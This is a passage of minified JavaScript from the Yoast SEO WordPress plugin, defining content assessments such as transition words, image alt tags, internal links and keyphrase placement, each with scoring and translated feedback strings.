1===this.numberOfLongCenterAlignedTexts&&(r.rightToLeft="%1$sAlignment%3$s: There is a long section of center-aligned text. %2$sWe recommend making it right-aligned%3$s.",r.leftToRight="%1$sAlignment%3$s: There is a long section of center-aligned text. %2$sWe recommend making it left-aligned%3$s."),(0,s.mapValues)(r,(r=>this.formatResultText(r,e,t)))}return this._config.callbacks.getResultTexts({urlTitleAnchorOpeningTag:e,urlActionAnchorOpeningTag:t,numberOfLongCenterAlignedTexts:this.numberOfLongCenterAlignedTexts})}}t.default=u},35780:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(33140),i=l(r(73054)),a=l(r(9017)),o=r(92819);function l(e){return e&&e.__esModule?e:{default:e}}class u extends a.default{constructor(e={}){super();const t={urlTitle:(0,n.createAnchorOpeningTag)("https://yoa.st/35h"),urlCallToAction:(0,n.createAnchorOpeningTag)("https://yoa.st/35i")};this.identifier="textPresence",this._config=(0,o.merge)(t,e)}getResult(e){if(!this.hasEnoughContentForAssessment(e)){const e=new i.default;return e.setText((0,s.sprintf)(
/* translators: %1$s and %3$s expand to links to articles on Yoast.com,
      %2$s expands to the anchor end tag*/
(0,s.__)("%1$sNot enough content%2$s: %3$sPlease add some content to enable a good analysis%2$s.","wordpress-seo"),this._config.urlTitle,"</a>",this._config.urlCallToAction)),e.setScore(3),e}return new i.default}}t.default=u},62318:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=m(r(17179)),a=r(76663),o=r(33140),l=r(62240),u=m(r(73054)),c=m(r(41054)),d=m(r(15010)),h=m(r(9017)),f=m(r(96908)),p=m(r(1105)),g=r(29866);function m(e){return e&&e.__esModule?e:{default:e}}class _ extends h.default{constructor(e={}){super();const t={urlTitle:(0,o.createAnchorOpeningTag)("https://yoa.st/34z"),urlCallToAction:(0,o.createAnchorOpeningTag)("https://yoa.st/35a"),applicableIfTextLongerThan:200};this.identifier="textTransitionWords",this._config=(0,n.merge)(t,e)}calculateTransitionWordPercentage(e){return 0===e.transitionWordSentences||0===e.totalSentences?0:(0,i.default)(e.transitionWordSentences/e.totalSentences*100)}calculateScoreFromPercentage(e){return e<20?3:(0,a.inRangeStartInclusive)(e,20,30)?6:9}calculateTransitionWordResult(e){const t=this.calculateTransitionWordPercentage(e),r=this.calculateScoreFromPercentage(t),n=t>0;return r<7&&0===t?{score:(0,i.default)(r),hasMarks:n,text:(0,s.sprintf)(/* translators: %1$s and %3$s expand to a link to yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sTransition words%2$s: None of the sentences contain transition words. %3$sUse some%2$s.","wordpress-seo"),this._config.urlTitle,"</a>",this._config.urlCallToAction)}:r<7?{score:(0,i.default)(r),hasMarks:n,text:(0,s.sprintf)(
/* translators: %1$s and %4$s expand to a link to yoast.com, %2$s expands to the anchor end tag,
        %3$s expands to the percentage of sentences containing transition words */
(0,s.__)("%1$sTransition words%2$s: Only %3$s of the sentences contain transition words, which is not enough. %4$sUse more of them%2$s.","wordpress-seo"),this._config.urlTitle,"</a>",t+"%",this._config.urlCallToAction)}:{score:(0,i.default)(r),hasMarks:n,text:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$sTransition words%2$s: Well done!","wordpress-seo"),this._config.urlTitle,"</a>")}}getResult(e,t){const r=t.getResearch("findTransitionWords"),s=this.calculateTransitionWordResult(r),n=new u.default;return n.setScore(s.score),n.setText(s.text),n.setHasMarks(s.hasMarks),n}getMarks(e,t){const r=t.getResearch("findTransitionWords");return(0,n.map)(r.sentenceResults,(function(e){let t=e.sentence;return t=(0,l.stripIncompleteTags)(t),new c.default({original:t,marked:(0,d.default)(t)})}))}isApplicable(e,t){const r=t.getHelper("customCountLength"),s=t.getConfig("assessmentApplicability").transitionWords;s&&(this._config.applicableIfTextLongerThan=s);let n=e.getText();return n=(0,f.default)(n),n=(0,g.filterShortcodesFromHTML)(n,e._attributes&&e._attributes.shortcodes),(r?r(n):(0,p.default)(n).length)>=this._config.applicableIfTextLongerThan&&t.hasResearch("findTransitionWords")}}t.default=_},50791:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=u(r(9017)),i=u(r(41054)),a=u(r(73054)),o=r(49061),l=r(48024);function u(e){return e&&e.__esModule?e:{default:e}}class c extends n.default{constructor(e={}){super(),this.identifier="wordComplexity",this._config=(0,s.merge)({scores:{acceptableAmount:6,goodAmount:9},urlTitle:"https://yoa.st/4ls",urlCallToAction:"https://yoa.st/4lt",callbacks:{}},e)}getResult(e,t){this._wordComplexity=t.getResearch("wordComplexity");const r=this.calculateResult(),s=new a.default;return s.setScore(r.score),s.setText(r.resultText),s.setHasMarks(r.hasMarks),s}calculateResult(){const e=this._wordComplexity.percentage,t=e>0,{goodAmount:r,acceptableAmount:s}=this.getFeedbackStrings();return e<10?{score:this._config.scores.goodAmount,hasMarks:t,resultText:r}:{score:this._config.scores.acceptableAmount,hasMarks:t,resultText:s}}getFeedbackStrings(){const e=(0,o.createAnchorOpeningTag)(this._config.urlTitle),t=(0,o.createAnchorOpeningTag)(this._config.urlCallToAction);if(!this._config.callbacks.getResultTexts){const r={acceptableAmount:"%1$sWord complexity%3$s: Some words in your text are considered complex. %2$sTry to use shorter and more familiar words to improve readability%3$s.",goodAmount:"%1$sWord complexity%3$s: You are not using too many complex words, which makes your text easy to read. Good job!"};return(0,s.mapValues)(r,(r=>this.formatResultText(r,e,t)))}const r=this._wordComplexity.percentage;return this._config.callbacks.getResultTexts({urlTitleAnchorOpeningTag:e,urlActionAnchorOpeningTag:t,complexWordsPercentage:r})}getMarks(e,t){const r=t.getResearch("wordComplexity").complexWords,s=t.getHelper("matchWordCustomHelper"),n=[];return r.forEach((e=>{const t=e.complexWords,r=e.sentence;t.length>0&&n.push(new i.default({original:r,marked:(0,l.collectMarkingsInSentence)(r,t,s)}))})),n}isApplicable(e,t){return this.hasEnoughContentForAssessment(e)&&t.hasResearch("wordComplexity")}}t.default=c},3139:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=l(r(9017)),a=r(33140),o=l(r(73054));function l(e){return e&&e.__esModule?e:{default:e}}class u extends i.default{constructor(e={}){super();const t={scores:{onlyFunctionWords:0},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/functionwordskeyphrase-1"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/functionwordskeyphrase-2")};this.identifier="functionWordsInKeyphrase",this._config=(0,n.merge)(t,e)}getResult(e,t){this._functionWordsInKeyphrase=t.getResearch("functionWordsInKeyphrase"),this._keyword=(0,n.escape)(e.getKeyword());const r=new o.default;return this._functionWordsInKeyphrase&&(r.setScore(this._config.scores.onlyFunctionWords),r.setText((0,s.sprintf)(
/**
       * translators:
       * %1$s and %2$s expand to links on yoast.com,
       * %3$s expands to the anchor end tag,
       * %4$s expands to the focus keyphrase of the article.
       */
(0,s.__)('%1$sFunction words in keyphrase%3$s: Your keyphrase "%4$s" contains function words only. %2$sLearn more about what makes a good keyphrase.%3$s',"wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>",this._keyword)),r.setHasJumps(!0),r.setEditFieldName((0,s.__)("keyphrase","wordpress-seo"))),r}isApplicable(e,t){return e.hasKeyword()&&t.hasResearch("functionWordsInKeyphrase")}}t.default=u},40826:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=o(r(9017)),i=o(r(73054)),a=r(49061);function o(e){return e&&e.__esModule?e:{default:e}}class l extends n.default{constructor(e={}){super(),this.identifier="imageAltTags",this._config=(0,s.merge)({scores:{bad:3,good:9},urlTitle:"",urlCallToAction:"",callbacks:{}},e)}getResult(e,t){this.altTagsProperties=t.getResearch("altTagCount"),this.imageCount=t.getResearch("imageCount");const r=this.calculateResult(),s=new i.default;return s.setScore(r.score),s.setText(r.resultText),s}isApplicable(e,t){return this.imageCount=t.getResearch("imageCount"),e.hasText()&&this.imageCount>0}calculateResult(){const e=this.altTagsProperties.noAlt,{good:t,noneHasAltBad:r,someHaveAltBad:s}=this.getFeedbackStrings();return e===this.imageCount?{score:this._config.scores.bad,resultText:r}:e>0?{score:this._config.scores.bad,resultText:s}:{score:this._config.scores.good,resultText:t}}getFeedbackStrings(){const e=(0,a.createAnchorOpeningTag)(this._config.urlTitle),t=(0,a.createAnchorOpeningTag)(this._config.urlCallToAction),r=this.altTagsProperties.noAlt;if(!this._config.callbacks.getResultTexts){const n={good:"%1$sImage alt tags%3$s: All images have alt attributes. Good job!",noneHasAltBad:"%1$sImage alt tags%3$s: None of the images has alt attributes. %2$sAdd alt attributes to your images%3$s!",someHaveAltBad:"%1$sImage alt tags%3$s: Some images don't have alt attributes. %2$sAdd alt attributes to your images%3$s!"};return 1===r&&(n.someHaveAltBad="%1$sImage alt tags%3$s: One image doesn't have alt attributes. %2$sAdd alt attributes to your images%3$s!"),(0,s.mapValues)(n,(r=>this.formatResultText(r,e,t)))}return this._config.callbacks.getResultTexts({urlTitleAnchorOpeningTag:e,urlActionAnchorOpeningTag:t,numberOfImagesWithoutAlt:r,totalNumberOfImages:this.imageCount})}}t.default=l},38754:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=r(76663),a=u(r(9017)),o=r(33140),l=u(r(73054));function u(e){return e&&e.__esModule?e:{default:e}}class c extends a.default{constructor(e={},t=!1){super();const r={scores:{bad:3,good:9},recommendedCount:1,urlTitle:(0,o.createAnchorOpeningTag)("https://yoa.st/4f4"),urlCallToAction:(0,o.createAnchorOpeningTag)("https://yoa.st/4f5")};this.identifier="images",this._config=(0,n.merge)(r,e),this._countVideos=t}getResult(e,t){this.imageCount=t.getResearch("imageCount"),this.videoCount=t.getResearch("videoCount");const r=this.calculateResult(),s=new l.default;return s.setScore(r.score),s.setText(r.resultText),s}isApplicable(e){return e.hasText()}calculateResult(){const e=this._countVideos?this.imageCount+this.videoCount:this.imageCount;if(0===e)return this._countVideos?{score:this._config.scores.bad,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sImages and videos%3$s: No images or videos appear on this page. %2$sAdd some%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:{score:this._config.scores.bad,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sImages%3$s: No images appear on this page. %2$sAdd some%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")};if(this._config.scores.okay){if((0,i.inRangeStartEndInclusive)(e,1,3)&&!this._countVideos)return{score:this._config.scores.okay,resultText:(0,s.sprintf)(
/* translators: %3$s and %4$s expand to links on yoast.com, %5$s expands to the anchor end tag,
          * %1$d expands to the number of images found in the text,
          * %2$d expands to the recommended number of images in the text, */
(0,s._n)("%3$sImages%5$s: Only %1$d image appears on this page. We recommend at least %2$d. %4$sAdd more relevant images%5$s!","%3$sImages%5$s: Only %1$d images appear on this page. We recommend at least %2$d. %4$sAdd more relevant images%5$s!",e,"wordpress-seo"),e,this._config.recommendedCount,this._config.urlTitle,this._config.urlCallToAction,"</a>")};if((0,i.inRangeStartEndInclusive)(e,1,3)&&this._countVideos)return{score:this._config.scores.okay,resultText:(0,s.sprintf)(
/* translators: %3$s and %4$s expand to links on yoast.com, %5$s expands to the anchor end tag,
          * %1$d expands to the number of images found in the text,
          * %2$d expands to the recommended number of images in the text, */
(0,s._n)("%3$sImages and videos%5$s: Only %1$d image or video appears on this page. We recommend at least %2$d. %4$sAdd more relevant images or videos%5$s!","%3$sImages and videos%5$s: Only %1$d images or videos appear on this page. We recommend at least %2$d. %4$sAdd more relevant images or videos%5$s!",e,"wordpress-seo"),e,this._config.recommendedCount,this._config.urlTitle,this._config.urlCallToAction,"</a>")}}return this._countVideos?{score:this._config.scores.good,resultText:(0,s.sprintf)(
/* translators: %1$s expands to a link on yoast.com,
         * %2$s expands to the anchor end tag. */
(0,s.__)("%1$sImages and videos%2$s: Good job!","wordpress-seo"),this._config.urlTitle,"</a>")}:{score:this._config.scores.good,resultText:(0,s.sprintf)(
/* translators: %1$s expands to a link on yoast.com,
       * %2$s expands to the anchor end tag. */
(0,s.__)("%1$sImages%2$s: Good job!","wordpress-seo"),this._config.urlTitle,"</a>")}}}t.default=c},92922:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=l(r(9017)),a=r(33140),o=l(r(73054));function l(e){return e&&e.__esModule?e:{default:e}}class u extends i.default{constructor(e={}){super();const t={parameters:{recommendedMinimum:1},scores:{allInternalFollow:9,someInternalFollow:8,noneInternalFollow:7,noInternal:3},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/33z"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/34a")};this.identifier="internalLinks",this._config=(0,n.merge)(t,e)}getResult(e,t){this.linkStatistics=t.getResearch("getLinkStatistics");const r=new o.default,s=this.calculateResult();return r.setScore(s.score),r.setText(s.resultText),r}isApplicable(e){return e.hasText()}calculateResult(){return 0===this.linkStatistics.internalTotal?{score:this._config.scores.noInternal,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sInternal links%3$s: No internal links appear in this page, %2$smake sure to add some%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:this.linkStatistics.internalNofollow===this.linkStatistics.internalTotal?{score:this._config.scores.noneInternalFollow,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sInternal links%3$s: The internal links in this page are all nofollowed. %2$sAdd some good internal links%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:this.linkStatistics.internalDofollow===this.linkStatistics.internalTotal?{score:this._config.scores.allInternalFollow,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sInternal links%2$s: You have enough internal links. Good job!","wordpress-seo"),this._config.urlTitle,"</a>")}:{score:this._config.scores.someInternalFollow,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sInternal links%2$s: There are both nofollowed and normal internal links on this page. Good job!","wordpress-seo"),this._config.urlTitle,"</a>")}}}t.default=u},90575:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=l(r(9017)),a=r(33140),o=l(r(73054));function l(e){return e&&e.__esModule?e:{default:e}}class u extends i.default{constructor(e={}){super();const t={scores:{good:9,okay:6,bad:3},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/33e"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/33f")};this.identifier="introductionKeyword",this._config=(0,n.merge)(t,e)}getResult(e,t){const r=new o.default;this._firstParagraphMatches=t.getResearch("findKeywordInFirstParagraph");const s=this.calculateResult();return r.setScore(s.score),r.setText(s.resultText),s.score<9&&r.setHasAIFixes(!0),r}isApplicable(e){return e.hasKeyword()&&e.hasText()}calculateResult(){return this._firstParagraphMatches.foundInOneSentence?{score:this._config.scores.good,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag. */
(0,s.__)("%1$sKeyphrase in introduction%2$s: Well done!","wordpress-seo"),this._config.urlTitle,"</a>")}:this._firstParagraphMatches.foundInParagraph?{score:this._config.scores.okay,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$sKeyphrase in introduction%3$s: Your keyphrase or its synonyms appear in the first paragraph of the copy, but not within one sentence. %2$sFix that%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:{score:this._config.scores.bad,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$sKeyphrase in introduction%3$s: Your keyphrase or its synonyms do not appear in the first paragraph. %2$sMake sure the topic is clear immediately%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}}}t.default=u},58850:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=c(r(9017)),i=c(r(73054)),a=r(49061),o=c(r(9862)),l=c(r(96908)),u=r(29866);function c(e){return e&&e.__esModule?e:{default:e}}class d extends n.default{constructor(e={}){super(),this.identifier="keyphraseDistribution",this._config=(0,s.merge)({parameters:{goodDistributionScore:30,acceptableDistributionScore:50},scores:{good:9,okay:6,bad:1,consideration:0},urlTitle:"https://yoa.st/33q",urlCallToAction:"https://yoa.st/33u",callbacks:{}},e)}getResult(e,t){this._keyphraseDistribution=t.getResearch("keyphraseDistribution");const r=new i.default,s=this.calculateResult();return r.setScore(s.score),r.setText(s.resultText),r.setHasMarks(s.hasMarks),s.score<9&&r.setHasAIFixes(!0),r}calculateResult(){const e=this._keyphraseDistribution.keyphraseDistributionScore,t=this._keyphraseDistribution.sentencesToHighlight.length>0,{good:r,okay:s,bad:n,consideration:i}=this.getFeedbackStrings();return 100===e?{score:this._config.scores.consideration,hasMarks:t,resultText:i}:e>this._config.parameters.acceptableDistributionScore?{score:this._config.scores.bad,hasMarks:t,resultText:n}:e>this._config.parameters.goodDistributionScore&&e<=this._config.parameters.acceptableDistributionScore?{score:this._config.scores.okay,hasMarks:t,resultText:s}:{score:this._config.scores.good,hasMarks:t,resultText:r}}getFeedbackStrings(){const e=(0,a.createAnchorOpeningTag)(this._config.urlTitle),t=(0,a.createAnchorOpeningTag)(this._config.urlCallToAction);if(!this._config.callbacks.getResultTexts){const r={good:"%1$sKeyphrase distribution%3$s: Good job!",okay:"%1$sKeyphrase distribution%3$s: Uneven. Some parts of your text do not contain the keyphrase or its synonyms. %2$sDistribute them more evenly%3$s.",bad:"%1$sKeyphrase distribution%3$s: Very uneven. Large parts of your text do not contain the keyphrase or its synonyms. %2$sDistribute them more evenly%3$s.",consideration:"%1$sKeyphrase distribution%3$s: %2$sInclude your keyphrase or its synonyms in the text so that we can check keyphrase distribution%3$s."};return(0,s.mapValues)(r,(r=>this.formatResultText(r,e,t)))}return this._config.callbacks.getResultTexts({urlTitleAnchorOpeningTag:e,urlActionAnchorOpeningTag:t})}getMarks(){return this._keyphraseDistribution.sentencesToHighlight}isApplicable(e,t){const r=t.getHelper("memoizedTokenizer");let s=e.getText();s=(0,l.default)(s),s=(0,u.filterShortcodesFromHTML)(s,e._attributes&&e._attributes.shortcodes);const n=(0,o.default)(s,r);return e.hasText()&&e.hasKeyword()&&n.length>=15&&t.hasResearch("keyphraseDistribution")}}t.default=d},8980:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=u(r(9017)),a=r(76663),o=r(33140),l=u(r(73054));function u(e){return e&&e.__esModule?e:{default:e}}class c extends i.default{constructor(e={}){super();const t={parameters:{lowerBoundary:.3,upperBoundary:.75},scores:{withAltGoodNumberOfKeywordMatches:9,withAltTooFewKeywordMatches:6,withAltTooManyKeywordMatches:6,withAltNonKeyword:6,withAlt:6,noAlt:6},urlTitle:(0,o.createAnchorOpeningTag)("https://yoa.st/4f7"),urlCallToAction:(0,o.createAnchorOpeningTag)("https://yoa.st/4f6")};this.identifier="imageKeyphrase",this._config=(0,n.merge)(t,e)}getResult(e,t){this.imageCount=t.getResearch("imageCount"),this.altProperties=t.getResearch("altTagCount"),this._minNumberOfKeywordMatches=Math.ceil(this.imageCount*this._config.parameters.lowerBoundary),this._maxNumberOfKeywordMatches=Math.floor(this.imageCount*this._config.parameters.upperBoundary);const r=this.calculateResult(),s=new l.default;return s.setScore(r.score),s.setText(r.resultText),s}isApplicable(e,t){return this.imageCount=t.getResearch("imageCount"),e.hasText()&&this.imageCount>0}hasTooFewMatches(){return this.imageCount>4&&this.altProperties.withAltKeyword>0&&this.altProperties.withAltKeyword<this._minNumberOfKeywordMatches}hasGoodNumberOfMatches(){return this.imageCount<5&&this.altProperties.withAltKeyword>0||5===this.imageCount&&(0,a.inRangeStartEndInclusive)(this.altProperties.withAltKeyword,2,4)||this.imageCount>4&&(0,a.inRangeStartEndInclusive)(this.altProperties.withAltKeyword,this._minNumberOfKeywordMatches,this._maxNumberOfKeywordMatches)}hasTooManyMatches(){return this.imageCount>4&&this.altProperties.withAltKeyword>this._maxNumberOfKeywordMatches}calculateResult(){return this.altProperties.withAlt>0?{score:this._config.scores.withAlt,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sImage Keyphrase%3$s: Images on this page have alt attributes, but you have not set your keyphrase. %2$sFix that%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:this.altProperties.withAltNonKeyword>0&&0===this.altProperties.withAltKeyword?{score:this._config.scores.withAltNonKeyword,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sImage Keyphrase%3$s: Images on this page do not have alt attributes with at least half of the words from your keyphrase. %2$sFix that%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:this.hasTooFewMatches()?{score:this._config.scores.withAltTooFewKeywordMatches,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of images containing an alt attribute with the keyword,
         * %2$d expands to the total number of images, %3$s and %4$s expand to links on yoast.com,
         * %5$s expands to the anchor end tag. */
(0,s._n)("%3$sImage Keyphrase%5$s: Out of %2$d images on this page, only %1$d has an alt attribute that reflects the topic of your text. %4$sAdd your keyphrase or synonyms to the alt tags of more relevant images%5$s!","%3$sImage Keyphrase%5$s: Out of %2$d images on this page, only %1$d have alt attributes that reflect the topic of your text. %4$sAdd your keyphrase or synonyms to the alt tags of more relevant images%5$s!",this.altProperties.withAltKeyword,"wordpress-seo"),this.altProperties.withAltKeyword,this.imageCount,this._config.urlTitle,this._config.urlCallToAction,"</a>")}:this.hasGoodNumberOfMatches()?{score:this._config.scores.withAltGoodNumberOfKeywordMatches,resultText:(0,s.sprintf)(
/* translators: %1$s expands to a link on yoast.com,
         * %2$s expands to the anchor end tag. */
(0,s.__)("%1$sImage Keyphrase%2$s: Good job!","wordpress-seo"),this._config.urlTitle,"</a>")}:this.hasTooManyMatches()?{score:this._config.scores.withAltTooManyKeywordMatches,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of images containing an alt attribute with the keyword,
                        * %2$d expands to the total number of images, %3$s and %4$s expand to a link on yoast.com,
         * %5$s expands to the anchor end tag. */
(0,s.__)("%3$sImage Keyphrase%5$s: Out of %2$d images on this page, %1$d have alt attributes with words from your keyphrase or synonyms. That's a bit much. %4$sOnly include the keyphrase or its synonyms when it really fits the image%5$s.","wordpress-seo"),this.altProperties.withAltKeyword,this.imageCount,this._config.urlTitle,this._config.urlCallToAction,"</a>")}:{score:this._config.scores.noAlt,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sImage Keyphrase%3$s: Images on this page do not have alt attributes that reflect the topic of your text. %2$sAdd your keyphrase or synonyms to the alt tags of relevant images%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}}}t.default=c},46787:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=u(r(67404)),a=u(r(9017)),o=r(33140),l=u(r(73054));function u(e){return e&&e.__esModule?e:{default:e}}class c extends a.default{constructor(e={}){super();const t={parameters:{recommendedPosition:0},scores:{good:9,okay:6,bad:2},urlTitle:(0,o.createAnchorOpeningTag)("https://yoa.st/33g"),urlCallToAction:(0,o.createAnchorOpeningTag)("https://yoa.st/33h"),feedbackStrings:{bad:(0,s.__)("For the best SEO results write the exact match of your keyphrase in the SEO title, and put the keyphrase at the beginning of the title","wordpress-seo")}};this.identifier="keyphraseInSEOTitle",
/* translators: This is the name of the 'Keyphrase in SEO title' SEO assessment.
     It appears before the feedback in the analysis, for example in the feedback string:
     "Keyphrase in SEO title: The focus keyphrase appears at the beginning of the SEO title. Good job!" */
this.name=(0,s.__)("Keyphrase in SEO title","wordpress-seo"),this._config=(0,n.merge)(t,e)}getResult(e,t){const r=(0,i.default)(e.getLocale());this._keyphraseMatches=t.getResearch("findKeyphraseInSEOTitle"),this._keyphrase=(0,n.escape)(e.getKeyword());const a=new l.default,o=this.calculateResult(this._keyphrase,r);return a.setScore(o.score),a.setText(o.resultText),a.getScore()<9&&(a.setHasJumps(!0),a.setEditFieldName((0,s.__)("SEO title","wordpress-seo"))),a}isApplicable(e){return e.hasKeyword()&&e.hasTitle()}calculateResult(e,t){const r=this._config.feedbackStrings;"ja"===t&&(r.bad=(0,s.__)("For the best SEO results include all words of your keyphrase in the SEO title, and put the keyphrase at the beginning of the title","wordpress-seo"));const n=this._keyphraseMatches.exactMatchFound,i=this._keyphraseMatches.position,a=this._keyphraseMatches.allWordsFound,o=this._keyphraseMatches.exactMatchKeyphrase,l=this._config.urlTitle+this.name+"</a>";return!0===n?0===i?{score:this._config.scores.good,resultText:(0,s.sprintf)(
/* translators: %1$s expands to the title of the "Keyphrase in SEO title" assessment (translated to the current language)
           and links to an article on yoast.com. */
(0,s.__)("%1$s: The exact match of the focus keyphrase appears at the beginning of the SEO title. Good job!","wordpress-seo"),l)}:{score:this._config.scores.okay,resultText:(0,s.sprintf)(
/* translators: %1$s expands to the title of the "Keyphrase in SEO title" assessment (translated to the current language)
         and links to an article on yoast.com. %2$s expand to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$s: The exact match of the focus keyphrase appears in the SEO title, but not at the beginning. %2$sMove it to the beginning for the best results%3$s.","wordpress-seo"),l,this._config.urlCallToAction,"</a>")}:a?"ja"===t?0===i?{score:this._config.scores.good,resultText:(0,s.sprintf)(
/* translators: %1$s expands to the title of the "Keyphrase in SEO title" assessment (translated to the current language)
             and links to an article on yoast.com. */
(0,s.__)("%1$s: The focus keyphrase appears at the beginning of the SEO title. Good job!","wordpress-seo"),l,"</a>")}:{score:this._config.scores.okay,resultText:(0,s.sprintf)(
/* translators: %1$s expands to the title of the "Keyphrase in SEO title" assessment (translated to the current language)
           and links to an article on yoast.com. %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$s: Title does not begin with the focus keyphrase. %2$sMove your focus keyphrase to the beginning of the title%3$s.","wordpress-seo"),l,this._config.urlCallToAction,"</a>")}:{score:this._config.scores.okay,resultText:(0,s.sprintf)(
/* translators: %1$s expands to the title of the "Keyphrase in SEO title" assessment (translated to the current language)
         and links to an article on yoast.com. %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$s: Does not contain the exact match. %2$sTry to write the exact match of your keyphrase in the SEO title and put it at the beginning of the title%3$s.","wordpress-seo"),l,this._config.urlCallToAction,"</a>")}:o?{score:this._config.scores.bad,resultText:(0,s.sprintf)(
/* translators: %1$s expands to the title of the "Keyphrase in SEO title" assessment (translated to the current language)
         and links to an article on yoast.com. %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$s: Does not contain the exact match. %2$sTry to write the exact match of your keyphrase in the SEO title and put it at the beginning of the title%3$s.","wordpress-seo"),l,this._config.urlCallToAction,"</a>",e)}:{score:this._config.scores.bad,resultText:(0,s.sprintf)(
/* translators: %1$s expands to the title of the "Keyphrase in SEO title" assessment (translated to the current language)
       and links to an article on yoast.com. %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag,
       %4$s expands to the keyphrase of the article, %5$s expands to the call to action text. */
(0,s.__)('%1$s: Not all the words from your keyphrase "%4$s" appear in the SEO title. %2$s%5$s%3$s.',"wordpress-seo"),l,this._config.urlCallToAction,"</a>",e,r.bad)}}}t.default=c},99815:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=c(r(9017)),a=r(49061),o=c(r(73054)),l=r(76663),u=c(r(83927));function c(e){return e&&e.__esModule?e:{default:e}}class d extends i.default{constructor(e,t=!1){super(),this.defaultConfig={parameters:{recommendedMinimum:1,recommendedMaximum:4,acceptableMaximum:8},parametersNoFunctionWordSupport:{recommendedMaximum:6,acceptableMaximum:9},scores:{veryBad:-999,bad:3,okay:6,good:9},countTextIn:{singular:(0,s.__)("word","wordpress-seo"),plural:(0,s.__)("words","wordpress-seo")},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/33i"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/33j"),isRelatedKeyphrase:!1},this.identifier="keyphraseLength",this._config=(0,n.merge)(this.defaultConfig,e),this._isProductPage=t}getResult(e,t){this._keyphraseLengthData=t.getResearch("keyphraseLength");const r=new o.default;t.getConfig("countCharacters")&&(this._config.countTextIn.singular=(0,s.__)("character","wordpress-seo"),this._config.countTextIn.plural=(0,s.__)("characters","wordpress-seo"));const 